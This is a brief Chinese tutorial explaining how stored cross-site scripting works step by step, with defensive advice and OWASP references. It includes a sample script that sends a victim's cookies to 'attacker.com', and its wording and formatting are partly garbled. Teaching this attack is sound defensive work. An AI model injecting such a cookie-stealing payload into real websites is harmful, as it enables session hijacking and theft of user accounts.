存储型跨站攻击(Stored XSS)过程为:攻击者将反面脚本提交至网站服务器并存储于数据库,当用户访问受感染页面时,服务器返回含反面代码的内容,浏览器解析执行该代码,进而窃取用户数据或进行会话劫持,最终完成攻击。
攻击者构造反面代码
攻击者首先编写可执行的反面脚本,通常采用JavaScript语言,脚本功能可能包括:
- 窃取用户Cookie或会话信息
- 重定向用户到钓鱼网站
- 劫持用户操作(如自动发送请求)
<script>
var cookie = document.cookie;
new Image().src = 'http://attacker.com/steal?data=' + cookie;
</script>
提交反面代码至目标网站
攻击者将反面代码注入到允许用户输入且内容会被存储的功能模块中,
- 用户评论、留言板
- 个人资料编辑(如昵称、简介)
- 文件上传(如图片描述、文档内容)
这些输入点若未做严格过滤,反面代码会被提交至服务器后台。

网站服务器存储反面内容
服务器在未进行有效输入验证或输出编码的情况下,直接将攻击者提交的反面代码存入数据库、文件系统或其他存储介质。
- 用户评论的原始内容被完整保存
- 未转义的特殊字符(如
<
、>
、&
)保留在存储数据中
用户访问被感染的页面
普通用户通过浏览器访问包含反面代码的页面时,服务器会从存储中读取数据并返回给用户。

- 用户浏览带有注入评论的文章页
- 用户查看其他用户的个人资料页
反面代码在用户端执行
用户的浏览器将服务器返回的内容解析为HTML,并自动执行嵌入的脚本。
- 反面脚本以当前用户权限运行
- 攻击者可窃取用户敏感信息(如登录凭证)
- 用户可能被诱导进行非授权操作(如转账、修改密码)
攻击者获取数据或实施进一步攻击
通过反面脚本收集的用户数据会被发送至攻击者控制的服务器。

- 窃取的Cookie可用于会话劫持,直接登录用户账户
- 用户输入信息(如银行卡号)被传送到第三方服务器
防御建议
- 输入过滤与验证
对用户提交的内容进行严格检查,过滤敏感字符(如 <script>
、onerror
)。 - 输出编码
在渲染用户提交的数据时,对特殊字符进行转义(如将 <
转为 <
),安全策略(CSP)**
通过HTTP头限制脚本来源,阻断非授权代码执行。 - 定期安全审计
使用自动化工具扫描破绽,例如OWASP ZAP或Burp Suite。
引用说明
本文技术细节参考自OWASP XSS防护指南与Web安全标准(CWE-79)。